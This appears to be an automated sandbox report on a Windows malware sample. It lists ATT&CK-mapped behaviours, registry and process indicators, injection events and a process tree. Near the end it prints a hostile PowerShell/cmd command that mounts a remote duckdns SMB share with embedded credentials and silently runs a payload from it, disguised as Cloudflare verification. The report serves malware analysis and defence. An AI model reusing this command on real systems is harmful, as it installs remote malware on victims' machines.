4760	sc.exe
5428	sc.exe
2484	sc.exe
3656	sc.exe
2524	sc.exe
2308	sc.exe
4732	sc.exe
3576	sc.exe
220	sc.exe
4900	sc.exe
1040	sc.exe
5972	sc.exe
2668	sc.exe
1620	sc.exe
1604	sc.exe
1896	sc.exe
3600	sc.exe
436	sc.exe
2368	sc.exe
2672	sc.exe
4652	sc.exe
1272	sc.exe
4572	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 51 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9sWdA2p.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Passwords.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5c6700e4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	apple.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	262.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	db7de03a5d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	f01ef26c9b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	52c21a4ce3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	799c084781.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	f01ef26c9b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rm3cVPI.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	15d2752c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SOVXW_random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UZPt0hR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	larBxd7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qhjMWht.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	262.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f01ef26c9b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7IIl2eE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 18 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
11048	timeout.exe
2188	timeout.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
1996	taskkill.exe
4900	taskkill.exe
2204	taskkill.exe
3384	taskkill.exe
5252	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MeshAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000_Classes\Local Settings	rapes.exe
Key created	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000_Classes\Local Settings	firefox.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
10828	schtasks.exe
10888	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4640	SOVXW_random.exe
4640	SOVXW_random.exe
3868	rapes.exe
3868	rapes.exe
2328	powershell.exe
2328	powershell.exe
2328	powershell.exe
4220	powershell.exe
4220	powershell.exe
4220	powershell.exe
5840	powershell.exe
5840	powershell.exe
5840	powershell.exe
740	799c084781.exe
740	799c084781.exe
740	799c084781.exe
740	799c084781.exe
740	799c084781.exe
740	799c084781.exe
3064	powershell.exe
3064	powershell.exe
3064	powershell.exe
1968	powershell.exe
1968	powershell.exe
1968	powershell.exe
5472	powershell.exe
5472	powershell.exe
5472	powershell.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
6988	rapes.exe
6988	rapes.exe
7584	52c21a4ce3.exe
7584	52c21a4ce3.exe
7584	52c21a4ce3.exe
7584	52c21a4ce3.exe
7584	52c21a4ce3.exe
7584	52c21a4ce3.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
2332	Passwords.com
2332	Passwords.com
2332	Passwords.com
2332	Passwords.com
2332	Passwords.com
2332	Passwords.com
7316	db7de03a5d.exe
7316	db7de03a5d.exe
6528	powershell.exe
6528	powershell.exe
6528	powershell.exe
2332	Passwords.com
2332	Passwords.com
2332	Passwords.com
2332	Passwords.com
8304	MSBuild.exe
8304	MSBuild.exe
8304	MSBuild.exe
8304	MSBuild.exe
8052	powershell.exe
8052	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
668	Process not Found
668	Process not Found
740	tzutil.exe
5344	5c6700e4.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2388	UZPt0hR.exe
2388	UZPt0hR.exe
2388	UZPt0hR.exe

Suspicious use of AdjustPrivilegeToken 37 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	3860	7q8Wm5h.exe
Token: SeDebugPrivilege	4220	powershell.exe
Token: SeDebugPrivilege	5840	powershell.exe
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeDebugPrivilege	5472	powershell.exe
Token: SeDebugPrivilege	2188	FrameworkName.exe
Token: SeDebugPrivilege	1996	taskkill.exe
Token: SeDebugPrivilege	4900	taskkill.exe
Token: SeDebugPrivilege	2204	taskkill.exe
Token: SeDebugPrivilege	3384	taskkill.exe
Token: SeDebugPrivilege	5252	taskkill.exe
Token: SeDebugPrivilege	1060	firefox.exe
Token: SeDebugPrivilege	1060	firefox.exe
Token: SeDebugPrivilege	7160	7q8Wm5h.exe
Token: SeDebugPrivilege	8132	RegSvcs.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	8660	tasklist.exe
Token: SeDebugPrivilege	8784	tasklist.exe
Token: SeDebugPrivilege	6528	powershell.exe
Token: SeDebugPrivilege	8052	powershell.exe
Token: SeDebugPrivilege	8692	powershell.exe
Token: SeLoadDriverPrivilege	740	tzutil.exe
Token: SeDebugPrivilege	8936	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	1828	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	8592	powershell.exe
Token: SeDebugPrivilege	5344	5c6700e4.exe
Token: SeBackupPrivilege	5344	5c6700e4.exe
Token: SeRestorePrivilege	5344	5c6700e4.exe
Token: SeLoadDriverPrivilege	5344	5c6700e4.exe
Token: SeShutdownPrivilege	5344	5c6700e4.exe
Token: SeSystemEnvironmentPrivilege	5344	5c6700e4.exe
Token: SeSecurityPrivilege	5344	5c6700e4.exe
Token: SeDebugPrivilege	9924	tasklist.exe

Suspicious use of FindShellTrayWindow 31 IoCs

pid	Process
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
4992	f01ef26c9b.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
1060	firefox.exe
2332	Passwords.com
2332	Passwords.com
2332	Passwords.com

Suspicious use of SendNotifyMessage 25 IoCs

pid	Process
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
4992	f01ef26c9b.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
1060	firefox.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
4992	f01ef26c9b.exe
2332	Passwords.com
2332	Passwords.com
2332	Passwords.com

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1060	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4640 wrote to memory of 3868	4640	SOVXW_random.exe	88
PID 4640 wrote to memory of 3868	4640	SOVXW_random.exe	88
PID 4640 wrote to memory of 3868	4640	SOVXW_random.exe	88
PID 3868 wrote to memory of 3860	3868	rapes.exe	94
PID 3868 wrote to memory of 3860	3868	rapes.exe	94
PID 3868 wrote to memory of 3320	3868	rapes.exe	97
PID 3868 wrote to memory of 3320	3868	rapes.exe	97
PID 3868 wrote to memory of 3320	3868	rapes.exe	97
PID 3320 wrote to memory of 2328	3320	cmd.exe	99
PID 3320 wrote to memory of 2328	3320	cmd.exe	99
PID 3320 wrote to memory of 2328	3320	cmd.exe	99
PID 2328 wrote to memory of 4552	2328	powershell.exe	100
PID 2328 wrote to memory of 4552	2328	powershell.exe	100
PID 2328 wrote to memory of 4552	2328	powershell.exe	100
PID 4552 wrote to memory of 5360	4552	cmd.exe	104
PID 4552 wrote to memory of 5360	4552	cmd.exe	104
PID 4552 wrote to memory of 5360	4552	cmd.exe	104
PID 3868 wrote to memory of 3236	3868	rapes.exe	105
PID 3868 wrote to memory of 3236	3868	rapes.exe	105
PID 3868 wrote to memory of 3236	3868	rapes.exe	105
PID 3236 wrote to memory of 3996	3236	apple.exe	106
PID 3236 wrote to memory of 3996	3236	apple.exe	106
PID 3236 wrote to memory of 3996	3236	apple.exe	106
PID 3996 wrote to memory of 3708	3996	262.exe	108
PID 3996 wrote to memory of 3708	3996	262.exe	108
PID 3708 wrote to memory of 3068	3708	cmd.exe	110
PID 3708 wrote to memory of 3068	3708	cmd.exe	110
PID 3708 wrote to memory of 3068	3708	cmd.exe	110
PID 3068 wrote to memory of 2972	3068	262.exe	111
PID 3068 wrote to memory of 2972	3068	262.exe	111
PID 2972 wrote to memory of 5252	2972	cmd.exe	113
PID 2972 wrote to memory of 5252	2972	cmd.exe	113
PID 2972 wrote to memory of 4760	2972	cmd.exe	114
PID 2972 wrote to memory of 4760	2972	cmd.exe	114
PID 2972 wrote to memory of 2188	2972	cmd.exe	115
PID 2972 wrote to memory of 2188	2972	cmd.exe	115
PID 2972 wrote to memory of 4732	2972	cmd.exe	116
PID 2972 wrote to memory of 4732	2972	cmd.exe	116
PID 2972 wrote to memory of 2668	2972	cmd.exe	117
PID 2972 wrote to memory of 2668	2972	cmd.exe	117
PID 2972 wrote to memory of 3220	2972	cmd.exe	118
PID 2972 wrote to memory of 3220	2972	cmd.exe	118
PID 2972 wrote to memory of 4424	2972	cmd.exe	119
PID 2972 wrote to memory of 4424	2972	cmd.exe	119
PID 2972 wrote to memory of 3576	2972	cmd.exe	120
PID 2972 wrote to memory of 3576	2972	cmd.exe	120
PID 2972 wrote to memory of 3132	2972	cmd.exe	121
PID 2972 wrote to memory of 3132	2972	cmd.exe	121
PID 2972 wrote to memory of 4036	2972	cmd.exe	122
PID 2972 wrote to memory of 4036	2972	cmd.exe	122
PID 2972 wrote to memory of 4652	2972	cmd.exe	123
PID 2972 wrote to memory of 4652	2972	cmd.exe	123
PID 2972 wrote to memory of 1236	2972	cmd.exe	124
PID 2972 wrote to memory of 1236	2972	cmd.exe	124
PID 2972 wrote to memory of 2520	2972	cmd.exe	125
PID 2972 wrote to memory of 2520	2972	cmd.exe	125
PID 2972 wrote to memory of 220	2972	cmd.exe	126
PID 2972 wrote to memory of 220	2972	cmd.exe	126
PID 2972 wrote to memory of 2524	2972	cmd.exe	127
PID 2972 wrote to memory of 2524	2972	cmd.exe	127
PID 2972 wrote to memory of 4692	2972	cmd.exe	128
PID 2972 wrote to memory of 4692	2972	cmd.exe	128
PID 2972 wrote to memory of 2308	2972	cmd.exe	129
PID 2972 wrote to memory of 2308	2972	cmd.exe	129

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\SOVXW_random.exe
"C:\Users\Admin\AppData\Local\Temp\SOVXW_random.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4640
- C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
  "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Downloads MZ/PE file
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Users\Admin\AppData\Local\Temp\10447710101\7q8Wm5h.exe
    "C:\Users\Admin\AppData\Local\Temp\10447710101\7q8Wm5h.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3860
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10449261121\pfJNmVW.cmd"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3320
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall' -windowstyle hidden -Verb RunAs; # Cloudflare verification (Ray ID: 90b0e54eb8bdaasd84)
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2328
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4552
      - C:\Windows\SysWOW64\net.exe
        
        net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234!
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5360
      - \??\UNC\aaso12.duckdns.org\shear\s.exe
        
        \\aaso12.duckdns.org\shear\s -fullinstall
        6⤵
        Sets service image path in registry
        Drops file in Program Files directory
        
        PID:4048
- - C:\Users\Admin\AppData\Local\Temp\10449770101\apple.exe
    "C:\Users\Admin\AppData\Local\Temp\10449770101\apple.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3236
  - - C:\Users\Admin\AppData\Local\Temp\262.exe
      "C:\Users\Admin\AppData\Local\Temp\262.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3996
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CAF1.tmp\CAF2.tmp\CAF3.bat C:\Users\Admin\AppData\Local\Temp\262.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3708
      - C:\Users\Admin\AppData\Local\Temp\262.exe
        
        "C:\Users\Admin\AppData\Local\Temp\262.exe" go
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3068
        
        C:\Windows\system32\cmd.exe
        
